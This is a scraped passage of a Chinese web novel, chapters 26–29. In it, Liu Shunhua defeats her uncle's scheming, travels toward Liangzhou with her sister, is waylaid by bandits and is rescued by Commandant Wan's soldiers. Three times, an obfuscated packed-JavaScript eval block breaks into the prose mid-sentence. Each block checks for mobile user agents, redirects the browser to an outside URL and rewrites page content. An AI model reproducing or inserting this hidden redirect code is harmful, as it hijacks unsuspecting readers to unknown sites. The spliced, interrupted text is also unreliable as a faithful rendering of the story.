“你家萋萋是个金贵的,可蓁蓁与芊芊,也是自幼被我捧在手心。两个小丫头一时说错了话,你一个做叔父的,竟逼得她们下跪。二弟,你将我这个做父亲的置于何地啊?” “幼时父母身体有损,人道长兄如父,我便担着照看你的责任。我亲自喂养你,读书习字都带着你。成年后,我外放为官,心中挂念着你,担心你吃不好睡不好,每隔一段时日便休书一封于你,连同我那些俸禄兑换的钱财,全都供你读书之用。这些年,我处处以你为先,事事为你着想,何曾亏待过你。” “二弟啊,我做这些,从不曾希望得到什么回报。可你,怎么就是不知足呢?” 柳奉越说越伤心,越说越失望,将这些年压的心头的委屈全倒了出来。说到最后,已是潸然泪下。 柳仁本就羞愤难当,又见兄长说到痛处流下泪来,不顾葛氏在旁眼神暗示,捂脸道:“兄长,别说了。我错了,都是我的错,是我让兄长失望了。” 柳奉拖着病体,早已精疲力竭,他缓缓闭上双目,“二弟,我累了,要歇下了。你也,请回吧。” 说罢,他踉跄起身,脚步虚浮,柳桓安兄妹上前,扶着他出了正厅。 一场闹剧落幕,柳仁与葛氏第一次从柳府空手而归。 送完父亲回房,又与柳棠华煮了姜汤端给兄长,柳舜华才得以喘口气。 柳棠华尚有些兴奋,赖在柳舜华屋里不肯走。 “姐姐,今日真是痛快。我原本还以为,父亲要怪罪我们呢,没想到,父亲竟会同叔父说那样的话。” 她越说越激动,“苍天有眼,总算让父亲看到了他们的嘴脸。以后,我再不担心她们过来抢我的东西了。” 柳舜华摸了摸膝盖,这一跪,跪得值了。 柳棠华沉默了片刻,抬头道:“姐姐,你是故意跪下的吗?” 柳舜华看向柳棠华,清澈的眼神中夹杂些许懵懂。 她揉了揉棠华的头:“你都看出来了,看来这些日子长进了不少。” 柳棠华听到柳舜华夸赞,乐不可支,“其实一开始跟着跪下的时候,我也有些疑惑,怎么姐姐前些日子将叔母杀得片甲不留,今日这么容易就下跪认输。后来,看到他们一时得意露出真面目,我才明白,姐姐这是引他们入局。” 柳舜华笑道:“你这都是从哪里学来的词,打打杀杀的。” 柳棠华仰起头,“我听说书的说的啊,高祖起义的故事。高祖出身草莽,生性豁达,胸怀大志。时值前朝苛政致中原疲敝,百姓流离失所,高祖聚众而反。初时,高祖实力尚不足,暂居一隅,暗中积蓄势力,待时机成熟,一举攻破长安,杀昏君,夺天下。” 柳舜华笑道:“听书能听出门道,你倒是机灵。你说说,这次你都看出了什么?” 柳棠华想了想,“我也是在父亲发怒后,才想明白的。若是放在平日里,二叔与叔母瞅准时机,直接说出那些话,或许父亲顶多驳斥他几句了事。可今日,他们选的时机却不对。而这个时机,似乎是姐姐引导的。” 柳舜华有心点她,缓缓道:“有时候,谦卑反致祸,只会让对方变本加厉地索取;可有时候,若一味冒进,非但达不到自己想要的结果,反会适得其反。暂退一步,因势利导,反占先机。” 柳棠华好像有些明白了,“姐姐,我好像懂了。就像相府门前,贺二公子直截了当,轻而易举地让萋萋妹妹不敢再纠缠;方才厅内,姐姐以退为进,顺利摆脱了二叔他们的无理取闹。” 听到柳棠华提到贺玄度,柳舜华心下一动,不觉笑了,“你说得没错,差不多是这个意思。你可要记住,日后万不可被人欺负了去。” 柳棠华抱住柳舜华的手臂,“有姐姐在,谁能欺负我。” 柳舜华垂头看着她,沉默半晌,问道:“棠华,若是有朝一日,你能过人上人的生活,但要舍弃如今的安逸,你愿意吗?” 柳棠华仔细想了一下:“人上人,像那个贺小姐一样吗?” 柳舜华:“差不多吧。” 柳棠华摇摇头,“我不喜欢,相府虽然轩峻壮丽,但这也不能吃,那也不能吃,规矩太多,无趣得很。” 她甜甜一笑,“我觉得像现在这样,有兄长与姐姐陪着,就是最好的。” 十五岁的棠华,还没有身为皇后的端庄沉静,稚嫩的脸上带着几分娇憨,眉眼格外灿烂,宛似院中精心呵护的山茶花。 她多想,棠华能一直这么无忧无虑。 上辈子,人人都说他们柳家烧了高香,生了两个女儿,一个是皇后,一个是相府长媳。 可前世,她和棠华都未能善终。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863690|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她被束缚在相府,度日如年,最终自焚而亡。 而棠华,也自有她的苦处。 新帝登基,棠华被册立为后。为替毫无根基的新帝拉拢可用之人,棠华尽其所能与朝中贵妇周旋,呕心沥血。两年后因生产不顺,便早早撒手人寰。 棠华在时,新帝对她百般宠爱不假,可她去世不足三月,新帝一见贺容暄,便惊为天人,当即将亡妻忘得干干净净,火速册立贺容暄为后,唯恐冷落佳人。 棠华为新帝熬干了自己,却是这个下场。 柳舜华替妹妹不值。 她本是天真娇憨的女孩儿,却在权力倾轧中不得不收了心性,与后宫嫔妃,朝中权贵争来斗去。她想,若是棠华嫁与普通人家,是不是会快乐些。 柳舜华轻轻摸着柳棠华的头,这辈子,她定会竭力避开棠华与新帝刘九生的相遇。 …… 立夏后,桐花繁茂到极致,大朵大朵紫色的花沉甸甸开在枝头,极尽春日最后的绚烂。 柳棠华捡了许多掉落的桐花堆在廊下,柳舜华闲来无事,一边串着花串打发时间。 花串还未串完,芳草便气冲冲走了进来。 “小姐还有闲心串花呢,简直气死人了。” 柳舜华边串边问:“什么事这么生气?” 芳草忿忿道:“还不是葛氏,原以为她消停了点,没想到憋着坏呢。” 柳棠华不解,“这几日未见叔母过来啊?” 芳草四下瞅了一眼,这才低声道:“方才我碰到了隔壁院的一个姐妹,她同我说,昨日她们那里来了一位贵人,悄悄向葛氏打听小姐你。” 柳舜华一愣,“打听我?” 芳草点头,“正是。我那小姐妹说,那妇人看起来非富即贵,张口便问小姐你年龄性情。” 柳舜华骤然紧张起来,这个时候来打听她,还问年龄性情,多半是有求亲之意。若她猜得不错,这个人多半是丞相府的人。 芳草兀自生着闷气,“葛氏对着来人,竟说小姐你牙尖嘴利,不知尊卑,行为粗鄙。总之,将小姐贬个一文不值,你说气不气人。” “哦。”柳舜华微微挑眉,“那可真是太好了。” 有叔母这般说辞,再加上贺容暄对她的敌意,丞相夫人对她就算不死心,恐怕也会多掂量掂量。 芳草看着柳舜华,“小姐,你是气傻了吧,葛氏如此诋毁你,你还说好?” 柳舜华一笑,将最后一朵桐花穿起,“不管来人是谁,能打听到叔母那里,必然同她关系密切,都是一丘之貉,管他作甚。” 虽是这么说,可她清楚,丞相夫人能暗自打听,必是得到贺丞相的默许。贺留善之所以看重她,无非就是因为兄长。 诸侯接待事宜,鸿胪寺办得极为妥帖,皇上对兄长愈加看重,近日更是频频召见。皇上欲培养兄长之心,贺丞相必然已知晓,断然不会轻易放弃拉拢。 总之,贺玄晖一日不成亲,丞相府便有可能再将主意打到她头上。如今这个节骨眼上,她要想办法避避风头才行。 柳舜华正想着,便看到柳桓安手里握着一封信,大步跨了进来。 柳桓安举着信,笑道:“舅舅来的信。” 柳舜华起身,迫不及待问道:“信上都说了什么?” 柳桓安将信递过去,“大约是外祖念咱们念得紧,舅舅这才来信询问,让咱们若是得空,别忘了回凉州一趟。” 柳舜华将信展开,仔仔细细看了个遍,心内百感交集。 前世,自离开凉州来到长安,她便再也没有回去过。 接到这封信的时候,柳府正忙着筹备她与贺玄晖的婚事。 距她的婚礼尚不足四个月,她只得让兄长回信,告知外祖大婚在即,脱不开身。 后来嫁进相府,回家尚且不便。凉州,哪里又回得去呢。 柳舜华攥紧手中的信,“兄长,我要回凉州。” 27. 第 27 章 四月初,雨后新霁,迎着一路的桐花,柳舜华出发了。 兄长本想一同前往,奈何事务烦身,只得作罢。 出了长安城,一路山花烂漫,田间芸薹花金黄一片,微风轻拂,吹起层层金浪,浓郁的花香飘散一路,引来蜜蜂嗡嗡忙碌。 柳棠华趴在窗口,看得入神。 此次凉州之行,柳舜华特意带了柳棠华出来。 据上辈子棠华的自述,她与刘九生相识于元始六年四月,那刘九生此时应在长安。 此去凉州,归来怎么也要五月,如此一来,棠华定能避开他。 “姐姐,凉州是什么样子的,还有,外祖他们会不会不喜欢我啊?” 柳棠华第一次出远门,激动之余,又有些忐忑。 柳舜华嘴角含笑:“凉州啊,有望不到头的高山,青翠苍茂的草原,遍地的牛羊在山野间奔走。有茫茫的大漠,夜里漫天的星光,亮晶晶的。有胡人弹着琵琶,舞姬跳着异域舞。若是赶上炎夏,还有甜甜的葡萄和瓜果吃。” “至于外祖他们,你更不用担心。你是我妹妹,他们会像待我一样待你。” 马车走走停停,颠簸了几日,柳棠华早已没了出行的兴致,到了客栈倒头便睡。柳舜华安排好车夫,整理了行囊,才回房。 客栈临近金城津,夜间风声呼啸,水声涛涛。 柳舜华躺在简陋的木床上,听着风拍打着窗子的声音,难以入眠。 上辈子她一直想做的事,就是逃离相府,离开长安,投赴山海。而今她真正做到了,却又有种不切实际的虚无感。 风突然吹熄了烛火,房内顿时陷入一片黑暗。一瞬间,她感受到前所未有的恐慌,有种前路未知的莫名恐惧。 柳棠华翻了个身,嘴里说着梦话,“姐姐,到了叫我。” 柳舜华突然笑了,近乡情怯,她大约是太紧张了吧。 天光穿破云层,黑暗潮水般退却,四周一下热闹起来。 柳舜华被叫闹声吵醒,拍醒柳棠华一起下楼吃早饭。 两人起得有些晚,到楼下时,只余寥寥几人。 店家得闲,仔细打量了一下,看她们两人皆是女子,身边并无随行男子,问道:“两位小姐,这是要去往何处啊?” 柳棠华心无城府,爽快道:“我们去凉州探亲,听说那里可美了。” 店家眉头一皱,提醒道:“凉州?我劝两位小姐还是再等等吧,祁连山一带最近在闹贼匪,好多个过往商队都被劫了。” “如今是太平盛世,怎么会有贼匪,官府就不管吗?”柳舜华不解。 店家道:“这伙贼匪不知道是从哪里突然冒出来的,手段凶残,不但劫财还伤人呢。官府在山间四处搜寻了多日,并不见踪影,也就作罢了。现下正是风口上,我看两位小姐还是等些时日再去不迟。” 柳棠华有些害怕,“姐姐,怎么办?” 柳舜华也有些踌躇,她也是头一回碰到这样的事,一时难以抉择。 “店家怕是不知道吧,祁连山下的贼匪前些日子就被抓了。” 一个妇人站起身,不住走动着哄着怀中啼哭的小娃娃。 店家有些不信,“什么时候的事?” 一旁妇人的丈夫笑了两声,“就是三日前,万都尉亲自带人抓的。” 听到万都尉,店家立即笑道:“原来如此,万都尉出手,自然是稳妥的。” 柳舜华眸光一闪,贺玄度外祖家正好也姓万。 贺玄度外祖,前太常卿万慈,出身凉州。先皇崩逝后,他便以年迈为由,远离京城,携家返回凉州。 也不知这个万都尉,与贺玄度有无关系。 那汉子大笑道:“就算没被抓,其实也不怕的,这批贼匪专劫商队,尤其是过往胡商,像我们这种赶路探亲的,只怕也入不了他们的眼呢。” 店家却不赞同,“小心驶得万年船,还是稳妥些好。” 柳棠华听到他们也去探亲,搭话道:“大嫂,你们去哪里探亲?” 妇人笑道:“去凉州,带着孩子去见见他外祖。” 柳棠华大喜:“这么巧,我们也是去凉州看望外祖。” 柳舜华初时尚有几分戒备,听到他们也是带孩子去看外祖,不由朝妇人怀中的小娃娃望去。 尚在襁褓中的小婴儿,生得虽弱,一双大眼骨碌碌地转,睫毛扑闪着,十分惹人怜爱。 待用过早饭,两人上楼收拾行囊,准备继续前行。 柳棠华嘀咕道:“真是人心难测,方才险些被店家骗了,不然又要留宿一晚,多付一晚房钱。” 柳舜华也早就迫不及待,催促道:“快些收拾吧。” 二人下了楼,车夫赶了马车过来,柳舜华与柳棠华方准备上车,就见不远处一辆牛车驶来。 赶车的是客栈里的那个汉子,车上坐的正是抱孩子的妇人。 柳舜华对他们点头示意。 柳棠华冲着他们挥了挥手,“大嫂,咱们同去凉州,正好可以作伴呢。” 抱孩子的妇人笑道:“正是呢,人多热闹,一路上也不闷。” 过了金城关,前面便是凉州城,约摸五六个时辰便能抵达。 柳棠华一路上叽叽喳喳,让那妇人给她讲些乡野趣事。吵吵闹闹着,已行了一半路程。 日头渐渐西斜,车夫看了看天色,忍不住低声提醒道:“小姐,那辆牛车太慢,咱们若是想要在天黑前进城,要加快一些才行,不然恐怕要露宿一晚了。” 柳舜华不想一路太过招摇,此次随行并未带家仆。兄长便亲自去了车行,挑选了个年富力强又经验老到的车夫。 柳舜华想了想,决定听车夫的话,进城要紧。 她对着两夫妇道:“大哥,大姐,我们还有些事,恐怕要先行一步了。” 两夫妇相视一望,那汉子脸上露出窘迫来,“我们牛车的确慢了些,若是想要早些进城,是要再加快些才行。” 柳棠华依依不舍与他们道别,顿觉无聊,收回探了一路的小脑袋,老老实实地坐着。 马车行得快了起来,风吹着帘子猎猎作响。 柳舜华方想靠着车壁打个盹,便听到风里传来一阵婴儿的啼哭声。 她自幼耳聪目明,听声音格外清晰一些。 荒山野岭,哪里来的婴儿哭声? 柳舜华心下好奇,撩开车帘往后一望,只见方才那辆牛车已经渐渐追了上来。 她稍一琢磨,顿觉不妙,对着车夫急道:“大哥,快些,不要让后面的牛车追上。” 车夫走南闯北,尽管不知她因何慌张,但听到牛车,还是觉出一丝不对。 他抓紧缰绳,“小姐坐稳些。” 马蹄飞快踏过山路,声声似鼓,催人心慌。 柳舜华抓紧车壁,从车窗缝隙中向外望去。 漫天尘土散尽,她看到后面的牛车依旧穷追不舍。 柳棠华见她神色慌张,也跟着惴惴不安,“姐姐,出什么事了?” 柳舜华稳住神色,沉声道:“那对夫妇有问题。” 柳棠华也看到了,他们正在拼命赶车。 “姐姐是不是误会了,也许他们只是想快些进城。” 柳舜华摇头,“他们看起来对这一带极为熟悉,可却在车夫提醒要加紧进城时,才慌张赶路,好似之前没想过要露宿一样。” 柳棠华仔细一想,确是如此,他们一路上都不慌不忙,没理由在车夫提醒后才这么拼命赶车。 他们如此拼命,倒像是……要追上她们。 “方才我便隐隐觉得有些不对,他们驾的牛车也太慢了些,似乎有意拖着咱们。只不过那大姐抱着孩子,我以为他是有所顾忌,想行得平稳些,才没往深处想。可你看如今,他这一路颠簸,孩子大哭不止,他却不管不顾,依旧拼命赶车。” 柳棠华颤声道:“他们不会是贼匪吧?” 柳舜华神情紧张,“难说,只盼咱们能快些甩开他们。” 柳棠华垂头丧气,“今早那店家好心提醒了的,我当时还疑心他是要哄骗咱们留宿,却不知上了贼人的当,枉顾了他的好心。” 柳舜华安慰道:“你也不必懊恼,咱们第一次出门,哪里知道这些门道。他们的牛车笨重,未必能追上咱们。” 好在车夫有经验,一路跑得飞快,转了个弯,进入窄道时,暂时将他们甩开。 两人松了一口气,总算是有惊无险。 突听林风飒飒,草木沙沙作响,一队人马从山坡之间俯冲了下来,将他们团团围住。 柳棠华早吓得说不出话来,抓住衣襟不停颤抖。 混乱的嬉笑声传来,脚步纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863691|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杂,四周乱糟糟一片。 柳舜华壮着胆子从缝隙中向外望去,对方约有几十余人,瞧着都是壮年。 为首的看着有二十五六岁,手里提着一把长刀,一双眼瞧着分外精干,倒没有想象中凶神恶煞的样子。 车夫见多识广,很快镇定下来,高喊道:“你们是何人?想做什么?” 为首的男子一把将刀扛在肩上,啐了一口,“你说是什么人,自然是打劫的。” 车夫试着用行话问,“敢问兄弟们,吃的是哪口饭?” “吃你娘的饭,都给老子滚下来!”粗犷的男声吼了起来。 车夫低声道:“小姐,他们不是道上的。” 话音方落,一把刀便架在他的脖颈上,“废什么话,再不下来,要你们的命。” 柳棠华脸色煞白,浑身僵硬,一动也不敢动。 柳舜华强自撑起身子,“棠华,别怕,先下去。他们应是劫财,东西都给他们便是。” 车门推开,柳舜华扶着已经瘫软的柳棠华下了马车。 她们一下马车,便见后面的牛车紧追了上来。 那汉子勒停牛车,从上面跳了下来,一改此前憨厚的模样,对着为首之人道:“幸亏我早有准备,点燃狼烟为信,不然差点就让肥羊跑了。” 为首的男子大笑道:“还是大哥有想法,这次够咱们吃一阵子了。” 马车旁立着的几人钻进车内,很快将车内几箱物品抬了下来。 柳棠华恨恨地盯着那对夫妇,一脸委屈,眼眶里的泪打着转。 那妇人心虚,转过头去,不敢再看她。 柳舜华深吸一口气,稳下心神,逼着自己冷静下来。 今早客栈内,店家曾说过,靠近祁连山的那拨贼匪手段凶残。车夫方才也说过,这伙人不是道上的。 看样子他们确实是只谋财,暂时没有伤人的打算。 一伙人将箱子抬到牛车上,问道:“三哥,这三个怎么办?” 为首的摸了摸脑袋,“他娘的,你们说怎么办?” 那妇人转过头,抱着孩子低声道:“三弟,咱们只图财,就放了她们吧。” 驾牛车的汉子将她拉到一边,“男人们做事,有你什么话。” 为首的男人犹豫了一下,转头看向两人。 一个似娇花,一个似嫩柳,水灵灵的两个美人,他平生都未见过这么好看的女子。 下面的人看出了他的心思,哄笑道:“三哥不是还未娶亲,不如一起掳了去,给我们当嫂子算了。” 柳棠华一听,吓得浑身发抖,更加站立不住。 柳舜华闻言,也是心跳如擂。 这些人即便不是贼匪,也是常年居住深山之间,若真是被掳了去,只怕再想逃出来就难了。 她抬头望着为首之人,努力让自己看起来很平静,“我们姐妹是去凉州探亲的,已经去信给到外祖说今日必到。若我们出事,外祖必定报官。你们可想清楚了,劫财就算被抓也罪不至死,可强抢民女,是要被腰斩的。” 少女虽因害怕微微颤抖,却字字铿锵,落地有声。 蠢蠢欲动的一群人顿时安静下来,一个个面面相觑。 有人问:“三哥,怎么办,放了?” 为首之人突然将扛在肩上的刀放了下来,双手按在刀柄上,饶有兴致地打量着柳舜华,“不,我决定了,我要娶她。” 柳舜华瞪大双眼,有些发懵。 说罢,他直直走向柳舜华,垂头认真道:“我瞧着你挺不错,跟了我吧。若你跟了我,我保证一辈子只对你好。” 柳舜华仓惶后退两步,抓紧藏在袖中的短刀。 她满脑子只有一个念头,绝对不能跟他走。 为首之人紧盯着她,就像猛兽看着自己的猎物,步步逼近。 “唰”的一声,长箭破空,势不可挡,生生刺穿了为首之人的手臂。 鲜血四溅。 柳舜华浑身僵直,呆愣地望着箭矢的方向。 对面上坡之上,不知何时站了一人。 那人身穿金甲,黑色披风翻飞,戴着铁面具的脸上泛着幽冷的光,依然维持着射箭的姿势。 山风在耳边呼啸,山顶白云流转,无边的晚霞倾泻而下,柳舜华静静地望着那人。 她看不清他的脸。 28. 第 28 章 下一刻,山坡上的官兵纷纷冲了下来,兵器碰撞之声四起,嘶吼声不断。 柳舜华收回目光,忙拉着柳棠华躲在车后。 两人紧紧贴在一起,一动也不敢动,兵器的寒光映着落日,不时晃在眼前,空中血腥味越来越浓重。 不知过了多久,厮杀声渐弱,哒哒的马蹄声逐渐逼近。 柳舜华抬头仰望,只见马上坐着个身穿甲胄的将军,三十余岁的年纪,身躯凛凛,一双眼目射寒星,如山间雄狮,威压逼人。 “你们没事吧?”开口却是与装扮十分违和的温言。 柳舜华扶着马车起身,施礼道:“无事,多谢将军相救。” 这时有人匆匆来报:“万都尉,贼人已全部擒获,共计三十二人。” 柳舜华闻言,猛地抬眸,这位将军便是万都尉。 柳棠华喜极而泣,“您就是万都尉,太好了,真是太好了。” 万都尉一张满是风沙的脸上堆笑,俯身问道:“怎么,你这个小丫头也知道我?” 柳棠华点头道:“我们在客栈内,听到过您的威名,说您威风凛凛,战无不胜,是个顶天立地的大英雄。” “哈哈哈哈……” 万都尉还是头一回被一个小姑娘当面拍马屁,听得心花怒放,忍不住仰天大笑。 众将士也跟着笑了起来。 柳棠华不好意思地挠挠头,她虽说得有些夸张了些,可都是肺腑之言。方才若不是万太尉的人及时赶到,她们指不定被掳到哪里去呢。 万都尉指着牛车上的箱子,“这些可是你们的财物?” 柳舜华点头称是。 万都尉当即命人将几个箱子抬回到马车内。 此时天色渐暗,最后一抹斜阳也已西沉。 虽已剿灭了贼人,可柳舜华依旧心有余悸,且不说前路会不会再有贼匪,便是行得再快也需两个时辰,无论如何也赶不上城门关闭了。 万都尉看出她的忧虑,翻身下马,将缰绳丢给身边的将士。 “这个时辰只怕不宜赶路,若是两位小姐不弃,不妨就随着我们将就一晚如何?” 柳棠华像是生怕柳舜华不答应,抢先道:“不嫌弃不嫌弃,万都尉肯收留,我们求之不得。” 万都尉笑了一下,“两位小姐请随意。” 柳棠华跟在万都尉身侧,笑道:“万都尉,我们姓柳,是长安来的。你可以叫我芊芊,那个是我姐姐,你可以叫她蓁蓁。” 柳舜华一把拉过她,低声道:“芊芊,万都尉事务繁忙,你莫要打扰。” 万都尉朝着她们点头致意,转身朝着那伙被抓的贼人走去。 柳棠华望着万都尉高大魁梧的背影,尤不忘感慨道:“大英雄当如是啊!” 众将士很快收拾好了残局,柳舜华同柳棠华上了马车,跟着将士们又行了一段,在一处开阔平缓之地驻扎下来。 夜幕降临,篝火燃起。 将士们支起了锅准备开始煮饭,柳棠华忙跑了过去,一会帮着去淘洗,一会帮着去生火。军中多是粗人,哪里见过这么娇俏的小姑娘,看着小姑娘忙前忙后,丝毫不介意这些粗活,一个个暗自生喜,不由悄悄偷看几眼。 柳舜华扫了一圈,并未瞧见方才山顶上那个戴面具的人。 看万都尉正在篝火旁,她犹豫片刻,走上前去行了礼,“万都尉,适才有个戴面具的,怎么没瞧见?” 万都尉拨弄着篝火,“他啊,不在,被我调去别的地方了。” 柳舜华沉默片刻,瞧着远处被关在一处的贼人,缓缓道:“万都尉,这伙人应不是贼匪。” 万都尉来了兴致,“你怎么知道?” 柳舜华笑了笑:“万都尉能及时赶到,应是看到了狼烟吧?” 万都尉眉头一挑,“是你燃的?” 柳舜华摇头,“那倒不是,是那伙贼人点的。在客栈时,我听店家说过,那伙贼匪手段凶残,行事狡猾。”她又望了望缩在一起的那些人,“可他们做事,顾头不顾尾,完全没个章法,不像是训练有术的样子。若他们是贼匪,只怕官府也不会求助于您。” 万都尉眼中颇带欣赏,“你一个小姑娘,懂得倒是不少。你放心,贼匪滋扰百姓,我们定不会胡乱找些替罪羊草草了事。” 柳舜华忙道:“万都尉误会了,我不是这个意思。您威名远扬,坦荡磊落,无人不知。只是贼人中有个幼儿,尚在哺乳中,着实有些可怜……” 万都尉点点头,“怜惜弱小乃人之常情,那名妇人,我们会酌情处理。” 篝火熊熊燃烧,火焰升腾。 柳舜华咬了咬唇,思索要如何开口,询问他是否认识贺玄度。 万都尉隔着篝火,打量着她,小姑娘貌美心善、秀外慧中,谁若是娶了她,那可真是有福气。 他问:“柳小姐来自长安,怎么会孤身到凉州去?” 柳舜华如实道:“我外祖家在凉州,一别多年,实在挂念,便想着过来看看他老人家。” 万都尉点头,“柳小姐孝心可鉴,一介女子,敢孤身奔赴凉州,实属难得。” “姐姐,吃饭了。” 柳舜华不好再问,起身拜别。 柳棠华端了一碗穈粥过来,“姐姐,你饿坏了吧,我自己做的你尝尝。” 柳舜华接过粥,喝了几口,粗糙的口感自然比不上家里的饭食,不过劫后重生,能吃上一口热粥,已是难得。 柳棠华又殷勤地端了穈粥给万都尉,温言提醒他小心烫着。 万都尉家中没有女儿,又常年在军中,突然被一个小姑娘如此细心照料,一副受宠若惊的模样。 等众人都喝上了,柳棠华才端了碗,坐在地上,拉着方才一起烧火的将士,让他接着讲上阵杀敌的故事。 柳舜华看着人群中棠华的笑脸,心下安定不少。 一阵婴儿哭声传来,柳舜华看了看手里的穈粥,起身走了过去。 方才那伙贼人都被缚住手臂蹲在地上,独抱着孩子的妇人瘫坐在一旁,手忙脚乱地哄着哭闹的婴儿。 柳舜华对着两个看守的将士道:“小娃娃闹得厉害,想是饿了,能不能将我这碗粥给到他?” 两个将士互相看了一眼,“小姐勿怪,此事我们做不了主,需都尉首肯。” “无妨,放柳小姐进去。” 柳舜华循声回头,只见一人朝她走来过来。 来人身材高大,眉眼端正,颇有几分书卷气,在军中实属难得一见。 两个将士立即问好:“曹护军。” 曹护军挥了挥手,两名将士站到一旁,给柳舜华让出路。 柳舜华点头致谢,走到妇人身边,弯下腰去,“大姐,给孩子吃点东西吧。” 妇人抬头,见是柳舜华,羞愧地接过穈粥,慢慢地喂给怀中的婴儿。 柳舜华温声道:“大姐也喝点吧,不然……” 身边都是男人,她实在不好说出,不喝没有奶水这样的话。 那妇人点点头,待婴儿喝足了,才将剩余小半碗喝了干净。 柳舜华收了碗,转身欲走,却见那妇人跪在地上,不住泣道:“此前是我对不住小姐,我死不足惜,请小姐受我一拜,只盼着小姐日后能平安顺遂。” 柳舜华叹了口气,顿了一下,没有说话。 “小姐,等一下。” 柳舜华回身,说话的是白日里为首的老大。 那人也不顾周遭是何情境,隔着人群朝她喊道:“小姐,我叫程三,敢问小姐芳名?若是我此番大难不死,定会改邪归正,去闯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863692|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一番事业来。万望小姐等我!” 柳舜华大囧,这人真是个疯子,亏得周遭之人都不熟识,否则让她日后如何自处。 曹护军抬脚走了过去,对着程三便是一记飞脚,怒道:“哪里来的鼠辈,敢在这里口出狂言,柳小姐也是你敢肖想的?” 程三白日里中了一箭,又被踹了一脚,当即倒在地上。 柳舜华瞥了他一眼,转身离开。 再回去时,马车旁却多了一个简易的营帐。 柳棠华拉着柳舜华的手往里走,“姐姐你看这个营帐如何?” 万都尉一行不足百人,像是临时出任务,应无多余准备,临时支起一顶勉强避风的营帐,自然是要留给万都尉。 柳舜华摇头道:“棠华,不可。” 万都尉不知何时走了过来,“柳小姐,你们是女子,难免有些不便,这营帐本就是为你们搭的。你们安心睡上一觉,明日一早便可启程。” 一旁的曹护军也说笑道:“都尉一直都是风餐露宿的,早习惯了。何况只是将就一晚,他自然无需营帐。这营帐确实是那些小子们为你们搭的,若是被我们万都尉住了,岂不是要让下面那些人笑话。” 话都说到这份上,柳舜华也不再推辞,道谢后便进了营帐。 说是营帐,其实不过是用一些粗布围起一个遮风之所。不过在这荒山野岭,却显得弥足珍贵。 柳棠华大咧咧躺在铺满干草的垫子上,直呼舒服。 柳舜华笑道:“原本还担心你贪吃爱玩,这一路会有不适,我也是今日才知,你这般好养。” 柳棠华翻个身,靠近柳舜华,“姐姐,这次出行虽然惊险,但我却一点都不后悔跟着。往日里,我都是听说书的讲战场上那些惊心动魄的厮杀,可今日遇着了方知惊险。” 她叹了口气,“那些世人传颂的故事,于他们而言,却是实实在在的日常,如此一想,怎不让人唏嘘。” 柳舜华头枕着手臂,看着上方漏进来的一丝星光,“是啊。我原想着,行万里路,看尽世间山水,是件畅快的事,而如今方知,世事不易。” 柳棠华静静地躺着,“他们真是不容易,拼了命的搏杀,哪个不是伤痕累累,可到头来还不知能得到什么。侥幸的还能活着,或是挣得个功名。不幸的便是马革裹尸,客死他乡。” 她喃喃道:“我真希望,这世道能一直太太平平的,四海无战事,天下晏然,每家每户都能康乐安宁。” 黑暗中,柳舜华看不清棠华的脸,可心内却莫名震动,蓦地回想起前世。 棠华被封皇后那日,她依例前去朝拜。 年轻的皇后端坐宝座之上,金光雾绕之下,稚嫩的脸上已有几分不易察觉的威仪。 她恍神了许久。 那是她第一次意识到,被她护在羽翼下的妹妹,已长出翅膀,正欲振翅高飞。 她的棠华,原来早已在不知不觉中长大了。 柳棠华尤自伤感道:“姐姐你说,明日一别,我们还能再见到他们吗?” 柳舜华拉过她的手,柔声道:“人这一生,聚散匆匆,过客太多,短暂相遇后,注定要分开。可就像流水东西,终究要归于大河。也许来日,在你不知道的时候,你们就已经重逢了。” 月光柔和,静静流照在营帐内,两人眼皮渐沉,很快睡了过去。 不知过了多久,柳舜华迷迷糊糊中醒了过来。 夜里风大,吹动着营帐,掀起一角。 她抬起眼皮向外一望,看到远处篝火旁一道熟悉的背影,就那么直直地坐在营帐外。 挺拔坚毅,不动如山,静谧似水。 一瞬间天地万物停滞,世间唯余他一人。 是她熟悉的贺玄度。 她知道,她又做梦了。 29. 第 29 章 天亮后,柳舜华收拾好行囊,向万都尉告别。 万都尉道:“昨夜快马回凉州城的将士已经探过路,前方很安全,并无贼匪,柳小姐可放心前行。” 两人道谢过众将士,上了马车。 柳棠华掀开车帘,对着众人不舍地挥手,前方站着的几人眼巴巴地看着她,红了眼眶。 柳舜华目光不觉瞥向远处对面的山顶,烟岚云岫,迷雾一片。 马车一路行得很顺,待日头升起时,凉州城已近在眼前。 “小姐,要进城了。” 柳棠华一听,整个人又活了过来,忙探出头去。 柳舜华看着渐渐多起来的人群,对着车夫道:“行慢些吧,进了城就不急了。” 